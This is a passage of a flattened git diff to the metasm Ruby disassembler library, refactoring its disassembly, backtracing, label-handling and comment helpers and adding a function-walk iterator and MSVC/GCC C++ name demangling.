@backtrace_binding = {} end + + def get_localvar_stackoff(off, di=nil, str=nil) + if di + @localvars_xrefs ||= {} + @localvars_xrefs[off] ||= [] + @localvars_xrefs[off] |= [di.address] + end + @localvars ||= {} + @localvars[off] ||= (str || (off > 0 ? 'arg_%X' % off : 'var_%X' % -off)) + end end class CPU @@ -438,7 +453,9 @@ class Disassembler when ::Integer when ::String raise "invalid section base #{base.inspect} - not at section start" if encoded.export[base] and encoded.export[base] != 0 - raise "invalid section base #{base.inspect} - already seen at #{@prog_binding[base]}" if @prog_binding[base] and @prog_binding[base] != Expression[base] + if ed = get_edata_at(base) + ed.del_export(base) + end encoded.add_export base, 0 else raise "invalid section base #{base.inspect} - expected string or integer" end @@ -451,7 +468,7 @@ class Disassembler # update section_edata.reloc # label -> list of relocs that refers to it - @inv_section_reloc = {} + @inv_section_reloc ||= {} @sections.each { |b, e| e.reloc.each { |o, r| r.target.externals.grep(::String).each { |ext| (@inv_section_reloc[ext] ||= []) << [b, e, o, r] } @@ -490,7 +507,7 @@ class Disassembler # ignore relocs embedded in an already-listed instr x << Xref.new(:reloc, addr) if not x.find { |x_| next if not x_.origin or not di_at(x_.origin) - (addr - x_.origin rescue 50) < @decoded[x_.origin].bin_length + (addr - x_.origin) < @decoded[x_.origin].bin_length rescue false } } end @@ -505,9 +522,18 @@ class Disassembler # parses a C string for function prototypes def parse_c(str, filename=nil, lineno=1) + @c_parser_constcache = nil @c_parser ||= @cpu.new_cparser @c_parser.lexer.define_weak('__METASM__DECODE__') @c_parser.parse(str, filename, lineno) + rescue ParseError + @c_parser.lexer.feed! '' + raise + end + + # list the constants ([name, integer value]) defined in the C code (#define / enums) + def c_constants + @c_parser_constcache ||= @c_parser.numeric_constants end # returns the canonical form of addr (absolute address integer or label of start of section + section offset) @@ -568,6 +594,7 @@ class Disassembler end # returns a hash associating addr => list of labels at this addr + # label_alias[a] may be nil if a new label is created elsewhere in the edata with the same name def label_alias if not @label_alias_cache @label_alias_cache = {} @@ -622,17 +649,16 @@ class Disassembler if not f.finalized f.finalized = true puts " finalize subfunc #{Expression[addr]}" if debug_backtrace - @cpu.backtrace_update_function_binding(self, addr, f, f.return_address) + backtrace_update_function_binding(addr, f) if not f.return_address detect_function_thunk(addr) end end - @comment[addr] ||= [] bd = f.backtrace_binding.reject { |k, v| Expression[k] == Expression[v] or Expression[v] == Expression::Unknown } unk = f.backtrace_binding.map { |k, v| k if v == Expression::Unknown }.compact bd[unk.map { |u| Expression[u].to_s }.sort.join(',')] = Expression::Unknown if not unk.empty? - @comment[addr] |= ["function binding: " + bd.map { |k, v| "#{k} -> #{v}" }.sort.join(', ')] - @comment[addr] |= ["function ends at " + f.return_address.map { |ra| Expression[ra] }.join(', ')] if f.return_address + add_comment(addr, "function binding: " + bd.map { |k, v| "#{k} -> #{v}" }.sort.join(', ')) + add_comment(addr, "function ends at " + f.return_address.map { |ra| Expression[ra] }.join(', ')) if f.return_address } end @@ -658,7 +684,7 @@ puts " finalize subfunc #{Expression[addr]}" if debug_backtrace next if not f = @function[subfunc] or f.finalized f.finalized = true puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace - @cpu.backtrace_update_function_binding(self, subfunc, f, f.return_address) + backtrace_update_function_binding(subfunc, f) if not f.return_address detect_function_thunk(subfunc) end @@ -667,7 +693,7 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace if di = @decoded[addr] if di.kind_of? DecodedInstruction - split_block(di.block, di.address) if not di.block_head? # this updates di.block + split_block(di.block, di.address, true) if not di.block_head? # this updates di.block di.block.add_from(from, from_subfuncret ? :subfuncret : :normal) if from and from != :default bf = di.block elsif di == true @@ -726,20 +752,22 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace end # splits an InstructionBlock, updates the blocks backtracked_for - def split_block(block, address=nil) + def split_block(block, address=nil, rebacktrace=false) if not address # invoked as split_block(0x401012) return if not @decoded[block].kind_of? DecodedInstruction block, address = @decoded[block].block, block end return block if address == block.address new_b = block.split address - new_b.backtracked_for.dup.each { |btt| - backtrace(btt.expr, btt.address, - :only_upto => block.list.last.address, - :include_start => !btt.exclude_instr, :from_subfuncret => btt.from_subfuncret, - :origin => btt.origin, :orig_expr => btt.orig_expr, :type => btt.type, :len => btt.len, - :detached => btt.detached, :maxdepth => btt.maxdepth) - } + if rebacktrace + new_b.backtracked_for.dup.each { |btt| + backtrace(btt.expr, btt.address, + :only_upto => block.list.last.address, + :include_start => !btt.exclude_instr, :from_subfuncret => btt.from_subfuncret, + :origin => btt.origin, :orig_expr => btt.orig_expr, :type => btt.type, :len => btt.len, + :detached => btt.detached, :maxdepth => btt.maxdepth) + } + end new_b end @@ -763,8 +791,7 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace each_xref(waddr, :w) { |x| #next if off + x.len < 0 puts "W: disasm: self-modifying code at #{Expression[waddr]}" if $VERBOSE - @comment[di_addr] ||= [] - @comment[di_addr] |= ["overwritten by #{@decoded[x.origin]}"] + add_comment(di_addr, "overwritten by #{@decoded[x.origin]}") @callback_selfmodifying[di_addr] if callback_selfmodifying return } @@ -775,6 +802,7 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace block.edata.ptr = di_addr - block.address + block.edata_ptr if not di = @cpu.decode_instruction(block.edata, di_addr) ed = block.edata + break if ed.ptr >= ed.length and get_section_at(di_addr) and di = block.list.last puts "#{ed.ptr >= ed.length ? "end of section reached" : "unknown instruction #{ed.data[di_addr-block.address+block.edata_ptr, 4].to_s.unpack('H*')}"} at #{Expression[di_addr]}" if $VERBOSE return end @@ -783,7 +811,18 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace block.add_di di puts di if $DEBUG - di = @callback_newinstr[di] if callback_newinstr + if callback_newinstr + ndi = @callback_newinstr[di] + if not ndi or not ndi.block + block.list.delete di + if ndi + block.add_di ndi + ndi.bin_length = di.bin_length if ndi.bin_length == 0 + @decoded[di_addr] = ndi + end + end + di = ndi + end return if not di block = di.block @@ -793,7 +832,7 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace if not di_addr or di.opcode.props[:stopexec] or not @program.get_xrefs_x(self, di).empty? # do not backtrace until delay slot is finished (eg MIPS: di is a - # ret and the delay slot holds stack fixup needed to calc func_binding) + # ret and the delay slot holds stack fixup needed to calc func_binding) # XXX if the delay slot is also xref_x or :stopexec it is ignored delay_slot ||= [di, @cpu.delay_slot(di)] end @@ -835,6 +874,8 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace @entrypoints |= entrypoints entrypoints.each { |ep| do_disassemble_fast_deep(normalize(ep)) } + + @callback_finished[] if callback_finished end def do_disassemble_fast_deep(ep) @@ -896,8 +937,7 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace } if func auto_label_at(addr, 'sub', 'loc', 'xref') - # XXX use default_btbind_callback ? - @function[addr] = DecodedFunction.new + @function[addr] = (@function[:default] || DecodedFunction.new).dup @function[addr].finalized = true detect_function_thunk(addr) puts "found new function #{get_label_at(addr)} at #{Expression[addr]}" if $VERBOSE @@ -909,7 +949,7 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace # does not recurse into subfunctions # assumes all :saveip returns, except those pointing to a subfunc with noreturn # yields subfunction addresses (targets of :saveip) - # only backtrace for :x with maxdepth 1 (ie handles only basic push+ret) + # no backtrace for :x (change with backtrace_maxblocks_fast) # returns a todo-style ary # assumes @addrs_todo is empty def disassemble_fast_block(block, &b) @@ -927,6 +967,7 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace # decode instruction block.edata.ptr = di_addr - block.address + block.edata_ptr if not di = @cpu.decode_instruction(block.edata, di_addr) + break if block.edata.ptr >= block.edata.length and get_section_at(di_addr) and di = block.list.last return ret end @@ -934,7 +975,18 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace block.add_di di puts di if $DEBUG - di = @callback_newinstr[di] if callback_newinstr + if callback_newinstr + ndi = @callback_newinstr[di] + if not ndi or not ndi.block + block.list.delete di + if ndi + block.add_di ndi + ndi.bin_length = di.bin_length if ndi.bin_length == 0 + @decoded[di_addr] = ndi + end + end + di = ndi + end return ret if not di di_addr = di.next_addr @@ -942,7 +994,9 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace if di.opcode.props[:stopexec] or di.opcode.props[:setip] if di.opcode.props[:setip] @addrs_todo = [] - @program.get_xrefs_x(self, di).each { |expr| + ar = @program.get_xrefs_x(self, di) + ar = @callback_newaddr[di.address, ar] || ar if callback_newaddr + ar.each { |expr| backtrace(expr, di.address, :origin => di.address, :type => :x, :maxdepth => @backtrace_maxblocks_fast) } end @@ -965,8 +1019,13 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace end } - di.block.add_to_normal(di_addr) - ret << [di_addr, di.address] + ar = [di_addr] + ar = @callback_newaddr[block.list.last.address, ar] || ar if callback_newaddr + ar.each { |a| + di.block.add_to_normal(a) + ret << [a, di.address] + } + ret end # handles when disassemble_fast encounters a call to a subfunction @@ -1037,7 +1096,7 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace count = 0 while b = block_at(addr) count += 1 - return if count > 5 or b.list.length > 4 + return if count > 5 or b.list.length > 5 if b.to_subfuncret and not b.to_subfuncret.empty? return if b.to_subfuncret.length != 1 addr = normalize(b.to_subfuncret.first) @@ -1047,7 +1106,7 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace return if not btb = sf.backtrace_binding btb = btb.dup btb.delete_if { |k, v| Expression[k] == Expression[v] } - return if btb.length > 2 or btb.values.include? Expression::Unknown + return if btb.length > 2 or btb.values.include? Expression::Unknown else return if not bt = b.to_normal if bt.include? :default @@ -1291,6 +1350,88 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace end end + # iterates over all instructions of a function from a given entrypoint + # carries an object while walking, the object is yielded every instruction + # every block is walked only once, after all previous blocks are done (if possible) + # on a 'jz', a [:clone] event is yielded for every path beside the first + # on a juction (eg a -> b -> d, a -> c -> d), a [:merge] event occurs if froms have different objs + # event list: + # [:di, , , ] + # [:clone, , , ] + # [:merge, , { => , => , ...}, ] + # [:subfunc, , , ] + # all events should return an object + # :merge has a copy of object1 at the end so that uninterested callers can always return args[-1] + # if an event returns false, the trace stops for the current branch + def function_walk(addr_start, obj_start) + # addresses of instrs already seen => obj + done = {} + todo = [[addr_start, obj_start]] + + while hop = todo.pop + addr, obj = hop + next if done.has_key?(done) + + di = di_at(addr) + next if not di + + if done.empty? + dilist = di.block.list[di.block.list.index(di)..-1] + else + # new block, check all 'from' have been seen + if not hop[2] + # may retry later + all_ok = true + di.block.each_from_samefunc(self) { |fa| all_ok = false unless done.has_key?(fa) } + if not all_ok + todo.unshift([addr, obj, true]) + next + end + end + + froms = {} + di.block.each_from_samefunc(self) { |fa| froms[fa] = done[fa] if done[fa] } + if froms.values.uniq.length > 1 + obj = yield([:merge, addr, froms, froms.values.first]) + next if obj == false + end + + dilist = di.block.list + end + + if dilist.each { |_di| + break if done.has_key?(_di.address) # looped back into addr_start + done[_di.address] = obj + obj = yield([:di, _di.address, _di, obj]) + break if obj == false # also return false for the previous 'if' + } + + from = dilist.last.address + + if di.block.to_normal and di.block.to_normal[0] and + di.block.to_subfuncret and di.block.to_subfuncret[0] + # current instruction block calls into a subfunction + obj = di.block.to_normal.map { |subf| + yield([:subfunc, subf, from, obj]) + }.first # propagate 1st subfunc result + next if obj == false + end + + wantclone = false + di.block.each_to_samefunc(self) { |ta| + if wantclone + nobj = yield([:clone, ta, from, obj]) + next if obj == false + todo << [ta, nobj] + else + todo << [ta, obj] + wantclone = true + end + } + end + end + end + # holds a backtrace result until a snapshot_addr is encountered class StoppedExpr attr_accessor :exprs @@ -1356,7 +1497,7 @@ puts " not backtracking stack address #{expr}" if debug_backtrace end if vals = (no_check ? (!need_backtrace(expr, terminals) and [expr]) : backtrace_check_found(expr, - di, origin, type, len, maxdepth, detached)) + di, origin, type, len, maxdepth, detached, snapshot_addr)) # no need to update backtracked_for return vals elsif maxdepth <= 0 @@ -1396,7 +1537,7 @@ puts " backtrace up #{Expression[h[:addr]]} #{oldexpr}#{" => #{expr}" if expr if expr != oldexpr and not snapshot_addr and vals = (no_check ? (!need_backtrace(expr, terminals) and [expr]) : backtrace_check_found(expr, nil, origin, type, len, - maxdepth-h[:loopdetect].length, detached)) + maxdepth-h[:loopdetect].length, detached, snapshot_addr)) result |= vals next end @@ -1437,7 +1578,7 @@ puts " backtrace up #{Expression[h[:from]]}->#{Expression[h[:to]]} #{oldexpr}# if expr != oldexpr and vals = (no_check ? (!need_backtrace(expr, terminals) and [expr]) : backtrace_check_found(expr, @decoded[h[:from]], origin, type, len, - maxdepth-h[:loopdetect].length, detached)) + maxdepth-h[:loopdetect].length, detached, snapshot_addr)) if snapshot_addr expr = StoppedExpr.new vals next expr @@ -1498,7 +1639,7 @@ oldexpr = expr when :func expr = backtrace_emu_subfunc(h[:func], h[:funcaddr], h[:addr], expr, origin, maxdepth-h[:loopdetect].length) if snapshot_addr and snapshot_addr == h[:funcaddr] - # XXX recursiveness detection needs to be fixed + # XXX recursiveness detection needs to be fixed puts " backtrace: recursive function #{Expression[h[:funcaddr]]}" if debug_backtrace next false end @@ -1506,7 +1647,7 @@ puts " backtrace: recursive function #{Expression[h[:funcaddr]]}" if debug_back end puts " backtrace #{h[:di] || Expression[h[:funcaddr]]} #{oldexpr} => #{expr}" if debug_backtrace and expr != oldexpr if vals = (no_check ? (!need_backtrace(expr, terminals) and [expr]) : backtrace_check_found(expr, - h[:di], origin, type, len, maxdepth-h[:loopdetect].length, detached)) + h[:di], origin, type, len, maxdepth-h[:loopdetect].length, detached, snapshot_addr)) if snapshot_addr expr = StoppedExpr.new vals else @@ -1588,10 +1729,14 @@ puts " backtrace addrs_todo << #{Expression[retaddr]} from #{di} (funcret)" if (ab = @address_binding[addr]) ? Expression[expr.bind(ab).reduce] : expr end + def backtrace_update_function_binding(addr, func=@function[addr], retaddrs=func.return_address) + @cpu.backtrace_update_function_binding(self, addr, func, retaddrs) + end + # static resolution of indirections def resolve(expr) binding = Expression[expr].expr_indirections.inject(@old_prog_binding) { |binding_, ind| - e, b = get_section_at(resolve(ind.target)) + e = get_edata_at(resolve(ind.target)) return expr if not e binding_.merge ind => Expression[ e.decode_imm("u#{8*ind.len}".to_sym, @cpu.endianness) ] } @@ -1619,7 +1764,7 @@ puts " backtrace addrs_todo << #{Expression[retaddr]} from #{di} (funcret)" if # TODO trace expr evolution through backtrace, to modify immediates to an expr involving label names # TODO mov [ptr], imm ; <...> ; jmp [ptr] => rename imm as loc_XX # eg. mov eax, 42 ; add eax, 4 ; jmp eax => mov eax, some_label-4 - def backtrace_check_found(expr, di, origin, type, len, maxdepth, detached) + def backtrace_check_found(expr, di, origin, type, len, maxdepth, detached, snapshot_addr=nil) # only entrypoints or block starts called by a :saveip are checked for being a function # want to execute [esp] from a block start if type == :x and di and di == di.block.list.first and @cpu.backtrace_is_function_return(expr, @decoded[origin]) and ( @@ -1649,11 +1794,14 @@ puts " backtrace addrs_todo << #{Expression[retaddr]} from #{di} (funcret)" if end return if need_backtrace(expr) + if snapshot_addr + return if expr.expr_externals(true).find { |ee| ee.kind_of?(Indirection) } + end puts "backtrace #{type} found #{expr} from #{di} orig #{@decoded[origin] || Expression[origin] if origin}" if debug_backtrace result = backtrace_value(expr, maxdepth) # keep the ori pointer in the results to emulate volatile memory (eg decompiler prefers this) - result << expr if not type + #result << expr if not type # XXX returning multiple values for nothing is too confusing, TODO fix decompiler result.uniq! # create xrefs/labels @@ -1695,7 +1843,7 @@ puts "backtrace #{type} found #{expr} from #{di} orig #{@decoded[origin] || Expr ret = [] decode_imm = lambda { |addr, len| - edata, foo = get_section_at(addr) + edata = get_edata_at(addr) if edata Expression[ edata.decode_imm("u#{8*len}".to_sym, @cpu.endianness) ] else @@ -1803,7 +1951,7 @@ puts " backtrace_indirection for #{ind.target} failed: #{ev}" if debug_backtra # TODO trace expression evolution to allow handling of # mov eax, 28 ; add eax, 4 ; jmp eax # => mov eax, (loc_xx-4) - if di and not unk # and di.address == origin + if di and not unk and expr != n # and di.address == origin @cpu.replace_instr_arg_immediate(di.instruction, expr, n) end if @decoded[origin] and not unk @@ -1850,6 +1998,10 @@ puts " backtrace_indirection for #{ind.target} failed: #{ev}" if debug_backtra end end + def inspect + "" % object_id + end + def to_s a = '' dump { |l| a << l << "\n" } @@ -1916,7 +2068,7 @@ puts " backtrace_indirection for #{ind.target} failed: #{ev}" if debug_backtra if not xr.empty? b["\n// Xrefs: #{xr[0, 8].join(' ')}#{' ...' if xr.length > 8}"] end - if block.edata.inv_export[block.edata_ptr] + if block.edata.inv_export[block.edata_ptr] and label_alias[block.address] b["\n"] if xr.empty? label_alias[block.address].each { |name| b["#{name}:"] } end @@ -1933,8 +2085,8 @@ puts " backtrace_indirection for #{ind.target} failed: #{ev}" if debug_backtra # TODO array-style data access def dump_data(addr, edata, off, &b) b ||= lambda { |l| puts l } - if l = edata.inv_export[off] - l_list = label_alias[addr].to_a.sort + if l = edata.inv_export[off] and label_alias[addr] + l_list = label_alias[addr].sort l = l_list.pop || l l_list.each { |ll| b["#{ll}:"] diff --git a/lib/metasm/metasm/disassemble_api.rb b/lib/metasm/metasm/disassemble_api.rb index aeef221eb2..416988a806 100644 --- a/lib/metasm/metasm/disassemble_api.rb +++ b/lib/metasm/metasm/disassemble_api.rb @@ -99,6 +99,28 @@ class InstructionBlock yield to if type == :indirect or dasm.function[to] or not dasm.decoded[to] } end + + # returns the array used in each_from_samefunc + def from_samefunc(dasm) + ary = [] + each_from_samefunc(dasm) { |a| ary << a } + ary + end + def from_otherfunc(dasm) + ary = [] + each_from_otherfunc(dasm) { |a| ary << a } + ary + end + def to_samefunc(dasm) + ary = [] + each_to_samefunc(dasm) { |a| ary << a } + ary + end + def to_otherfunc(dasm) + ary = [] + each_to_otherfunc(dasm) { |a| ary << a } + ary + end end class DecodedInstruction @@ -111,44 +133,6 @@ end class CPU # compat alias, for scripts using older version of metasm def get_backtrace_binding(di) backtrace_binding(di) end - - # return something like backtrace_binding in the forward direction - # set pc_reg to some reg name (eg :pc) to include effects on the instruction pointer - def get_fwdemu_binding(di, pc_reg=nil) - fdi = di.backtrace_binding ||= get_backtrace_binding(di) - # find self-updated regs & revert them in simultaneous affectations - # XXX handles only a <- a+i for now, this covers all useful cases (except imul eax, eax, 42 jz foobar) - fdi.keys.grep(::Symbol).each { |s| - val = Expression[fdi[s]] - next if val.lexpr != s or (val.op != :+ and val.op != :-) #or not val.rexpr.kind_of? ::Integer - fwd = { s => val } - inv = { s => val.dup } - inv[s].op = ((inv[s].op == :+) ? :- : :+) - nxt = {} - fdi.each { |k, v| - if k == s - nxt[k] = v - else - k = k.bind(fwd).reduce_rec if k.kind_of? Indirection - nxt[k] = Expression[Expression[v].bind(inv).reduce_rec] - end - } - fdi = nxt - } - if pc_reg - if di.opcode.props[:setip] - xr = get_xrefs_x(nil, di) - if xr and xr.length == 1 - fdi[pc_reg] = xr[0] - else - fdi[:incomplete_binding] = Expression[1] - end - else - fdi[pc_reg] = Expression[pc_reg, :+, di.bin_length] - end - end - fdi - end end class Disassembler @@ -156,11 +140,16 @@ class Disassembler def self.backtrace_maxblocks ; @@backtrace_maxblocks ; end def self.backtrace_maxblocks=(b) ; @@backtrace_maxblocks = b ; end - # returns the dasm section's edata containing addr - # its #ptr points to addr - # returns the 1st element of #get_section_at - def get_edata_at(addr) - if s = get_section_at(addr) + # adds a commentary at the given address + # comments are found in the array @comment: {addr => [list of strings]} + def add_comment(addr, cmt) + @comment[addr] ||= [] + @comment[addr] |= [cmt] + end + + # returns the 1st element of #get_section_at (ie the edata at a given address) or nil + def get_edata_at(*a) + if s = get_section_at(*a) s[0] end end @@ -209,12 +198,12 @@ class Disassembler # yields every InstructionBlock # returns the list of IBlocks - def each_instructionblock + def each_instructionblock(&b) ret = [] @decoded.each { |addr, di| next if not di.kind_of? DecodedInstruction or not di.block_head? ret << di.block - yield di.block if block_given? + b.call(di.block) if b } ret end @@ -293,18 +282,19 @@ class Disassembler # returns the label associated to an addr, or nil if none exist def get_label_at(addr) - e, b = get_section_at(addr, false) + e = get_edata_at(addr, false) e.inv_export[e.ptr] if e end # sets the label for the specified address # returns nil if the address is not mapped # memcheck is passed to get_section_at to validate that the address is mapped - def set_label_at(addr, name, memcheck=true) + # keep existing label if 'overwrite' is false + def set_label_at(addr, name, memcheck=true, overwrite=true) addr = Expression[addr].reduce e, b = get_section_at(addr, memcheck) if not e - elsif not l = e.inv_export[e.ptr] + elsif not l = e.inv_export[e.ptr] or (!overwrite and l != name) l = @program.new_label(name) e.add_export l, e.ptr @label_alias_cache = nil @@ -317,7 +307,7 @@ class Disassembler # remove a label at address addr def del_label_at(addr, name=get_label_at(addr)) - ed, b = get_section_at(addr) + ed = get_edata_at(addr) if ed and ed.inv_export[ed.ptr] ed.del_export name, ed.ptr @label_alias_cache = nil @@ -325,6 +315,7 @@ class Disassembler each_xref(addr) { |xr| next if not xr.origin or not o = @decoded[xr.origin] or not o.kind_of? Renderable o.each_expr { |e| + next unless e.kind_of?(Expression) e.lexpr = addr if e.lexpr == name e.rexpr = addr if e.rexpr == name } @@ -337,12 +328,14 @@ class Disassembler # returns the new label # the new label must be program-uniq (see @program.new_label) def rename_label(old, new) + return new if old == new + raise "label #{new.inspect} exists" if @prog_binding[new] each_xref(normalize(old)) { |x| next if not di = @decoded[x.origin] @cpu.replace_instr_arg_immediate(di.instruction, old, new) di.comment.to_a.each { |c| c.gsub!(old, new) } } - e, l = get_section_at(old, false) + e = get_edata_at(old, false) if e e.add_export new, e.export.delete(old), true end @@ -499,12 +492,12 @@ class Disassembler # if from..to spans multiple blocks # to.block is splitted after to # all path from from are replaced by a single link to after 'to', be careful ! - # (eg a->b->... & a->c ; from in a, to in c => a->b is lost) + # (eg a->b->... & a->c ; from in a, to in c => a->b is lost) # all instructions are stuffed in the first block # paths are only walked using from/to_normal # 'by' may be empty # returns the block containing the new instrs (nil if empty) - def replace_instrs(from, to, by) + def replace_instrs(from, to, by, patch_by=false) raise 'bad from' if not fdi = di_at(from) or not fdi.block.list.index(fdi) raise 'bad to' if not tdi = di_at(to) or not tdi.block.list.index(tdi) @@ -520,14 +513,28 @@ class Disassembler wantlen -= by.grep(DecodedInstruction).inject(0) { |len, di| len + di.bin_length } ldi = by.last ldi = DecodedInstruction.new(ldi) if ldi.kind_of? Instruction - wantlen = by.grep(Instruction).length if wantlen < 0 or (ldi and ldi.opcode.props[:setip]) - by.map! { |di| - if di.kind_of? Instruction - di = DecodedInstruction.new(di) - wantlen -= di.bin_length = wantlen / by.grep(Instruction).length - end - di - } + nb_i = by.grep(Instruction).length + wantlen = nb_i if wantlen < 0 or (ldi and ldi.opcode.props[:setip]) + if patch_by + by.map! { |di| + if di.kind_of? Instruction + di = DecodedInstruction.new(di) + wantlen -= di.bin_length = wantlen / by.grep(Instruction).length + nb_i -= 1 + end + di + } + else + by = by.map { |di| + if di.kind_of? Instruction + di = DecodedInstruction.new(di) + wantlen -= (di.bin_length = wantlen / nb_i) + nb_i -= 1 + end + di + } + end + #puts " ** patch next_addr to #{Expression[tb.list.last.next_addr]}" if not by.empty? and by.last.opcode.props[:saveip] by.last.next_addr = tb.list.last.next_addr if not by.empty? and by.last.opcode.props[:saveip] @@ -649,8 +656,8 @@ class Disassembler if b1 and not b1.kind_of? InstructionBlock return if not b1 = block_at(b1) end - if b2 and not b2.kind_of? InstructionBlock - return if not b2 = block_at(b2) + if b2 and not b2.kind_of? InstructionBlock + return if not b2 = block_at(b2) end if b1 and b2 and (allow_nonadjacent or b1.list.last.next_addr == b2.address) and b1.to_normal.to_a == [b2.address] and b2.from_normal.to_a.length == 1 and # that handles delay_slot @@ -720,17 +727,23 @@ class Disassembler end # returns a demangled C++ name + def demangle_cppname(name) + case name[0] + when ?? # MSVC + name = name[1..-1] + demangle_msvc(name[1..-1]) if name[0] == ?? + when ?_ + name = name.sub(/_GLOBAL__[ID]_/, '') + demangle_gcc(name[2..-1][/\S*/]) if name[0, 2] == '_Z' + end + end + # from wgcc-2.2.2/undecorate.cpp # TODO - def demangle_cppname(name) - ret = name - if name[0] == ?? - name = name[1..-1] - if name[0] == ?? - name = name[1..-1] - op = name[0, 1] - op = name[0, 2] if op == '_' - if op = { + def demangle_msvc(name) + op = name[0, 1] + op = name[0, 2] if op == '_' + if op = { '2' => "new", '3' => "delete", '4' => "=", '5' => ">>", '6' => "<<", '7' => "!", '8' => "==", '9' => "!=", 'A' => "[]", 'C' => "->", 'D' => "*", 'E' => "++", 'F' => "--", 'G' => "-", 'H' => "+", 'I' => "&", 'J' => "->*", 'K' => "/", 'L' => "%", 'M' => "<", 'N' => "<=", 'O' => ">", 'P' => ">=", 'Q' => ",", @@ -743,11 +756,157 @@ class Disassembler '_M' => "`eh vector destructor iterator'", '_N' => "`eh vector vbase constructor iterator'", '_O' => "`copy constructor closure'", '_S' => "`local vftable'", '_T' => "`local vftable constructor closure'", '_U' => "new[]", '_V' => "delete[]", '_X' => "`placement delete closure'", '_Y' => "`placement delete[] closure'"}[op] - ret = op[0] == ?` ? op[1..-2] : "op_#{op}" + op[0] == ?` ? op[1..-2] : "op_#{op}" + end + end + + # from http://www.codesourcery.com/public/cxx-abi/abi.html + def demangle_gcc(name) + subs = [] + ret = '' + decode_tok = lambda { + name ||= '' + case name[0] + when nil + ret = nil + when ?N + name = name[1..-1] + decode_tok[] + until name[0] == ?E + break if not ret + ret << '::' + decode_tok[] + end + name = name[1..-1] + when ?I + name = name[1..-1] + ret = ret[0..-3] if ret[-2, 2] == '::' + ret << '<' + decode_tok[] + until name[0] == ?E + break if not ret + ret << ', ' + decode_tok[] + end + ret << ' ' if ret and ret[-1] == ?> + ret << '>' if ret + name = name[1..-1] + when ?T + case name[1] + when ?T; ret << 'vtti(' + when ?V; ret << 'vtable(' + when ?I; ret << 'typeinfo(' + when ?S; ret << 'typename(' + else ret = nil + end + name = name[2..-1].to_s + decode_tok[] if ret + ret << ')' if ret + name = name[1..-1] if name[0] == ?E + when ?C + name = name[2..-1] + base = ret[/([^:]*)(<.*|::)?$/, 1] + ret << base + when ?D + name = name[2..-1] + base = ret[/([^:]*)(<.*|::)?$/, 1] + ret << '~' << base + when ?0..?9 + nr = name[/^[0-9]+/] + name = name[nr.length..-1].to_s + ret << name[0, nr.to_i] + name = name[nr.to_i..-1] + subs << ret[/[\w:]*$/] + when ?S + name = name[1..-1] + case name[0] + when ?_, ?0..?9, ?A..?Z + case name[0] + when ?_; idx = 0 ; name = name[1..-1] + when ?0..?9; idx = name[0, 1].unpack('C')[0] - 0x30 + 1 ; name = name[2..-1] + when ?A..?Z; idx = name[0, 1].unpack('C')[0] - 0x41 + 11 ; name = name[2..-1] + end + if not subs[idx] + ret = nil + else + ret << subs[idx] + end + when ?t + ret << 'std::' + name = name[1..-1] + decode_tok[] + else + std = { ?a => 'std::allocator', + ?b => 'std::basic_string', + ?s => 'std::string', # 'std::basic_string < char, std::char_traits, std::allocator >', + ?i => 'std::istream', # 'std::basic_istream >', + ?o => 'std::ostream', # 'std::basic_ostream >', + ?d => 'std::iostream', # 'std::basic_iostream >' + }[name[0]] + if not std + ret = nil + else + ret << std + end + name = name[1..-1] + end + when ?P, ?R, ?r, ?V, ?K + attr = { ?P => '*', ?R => '&', ?r => ' restrict', ?V => ' volatile', ?K => ' const' }[name[0]] + name = name[1..-1] + rl = ret.length + decode_tok[] + if ret + ret << attr + subs << ret[rl..-1] + end + else + if ret =~ /[(<]/ and ty = { + ?v => 'void', ?w => 'wchar_t', ?b => 'bool', ?c => 'char', ?a => 'signed char', + ?h => 'unsigned char', ?s => 'short', ?t => 'unsigned short', ?i => 'int', + ?j => 'unsigned int', ?l => 'long', ?m => 'unsigned long', ?x => '__int64', + ?y => 'unsigned __int64', ?n => '__int128', ?o => 'unsigned __int128', ?f => 'float', + ?d => 'double', ?e => 'long double', ?g => '__float128', ?z => '...' + }[name[0]] + name = name[1..-1] + ret << ty + else + fu = name[0, 2] + name = name[2..-1] + if op = { + 'nw' => ' new', 'na' => ' new[]', 'dl' => ' delete', 'da' => ' delete[]', + 'ps' => '+', 'ng' => '-', 'ad' => '&', 'de' => '*', 'co' => '~', 'pl' => '+', + 'mi' => '-', 'ml' => '*', 'dv' => '/', 'rm' => '%', 'an' => '&', 'or' => '|', + 'eo' => '^', 'aS' => '=', 'pL' => '+=', 'mI' => '-=', 'mL' => '*=', 'dV' => '/=', + 'rM' => '%=', 'aN' => '&=', 'oR' => '|=', 'eO' => '^=', 'ls' => '<<', 'rs' => '>>', + 'lS' => '<<=', 'rS' => '>>=', 'eq' => '==', 'ne' => '!=', 'lt' => '<', 'gt' => '>', + 'le' => '<=', 'ge' => '>=', 'nt' => '!', 'aa' => '&&', 'oo' => '||', 'pp' => '++', + 'mm' => '--', 'cm' => ',', 'pm' => '->*', 'pt' => '->', 'cl' => '()', 'ix' => '[]', + 'qu' => '?', 'st' => ' sizeof', 'sz' => ' sizeof', 'at' => ' alignof', 'az' => ' alignof' + }[fu] + ret << "operator#{op}" + elsif fu == 'cv' + ret << "cast<" + decode_tok[] + ret << ">" if ret + else + ret = nil + end end end + name ||= '' + } + + decode_tok[] + subs.pop + if ret and name != '' + ret << '(' + decode_tok[] + while ret and name != '' + ret << ', ' + decode_tok[] + end + ret << ')' if ret end - # TODO ret end @@ -755,7 +914,8 @@ class Disassembler # return/yields all the addresses matching # if yield returns nil/false, do not include the addr in the final result # sections are scanned MB by MB, so this should work (slowly) on 4GB sections (eg debugger VM) - def 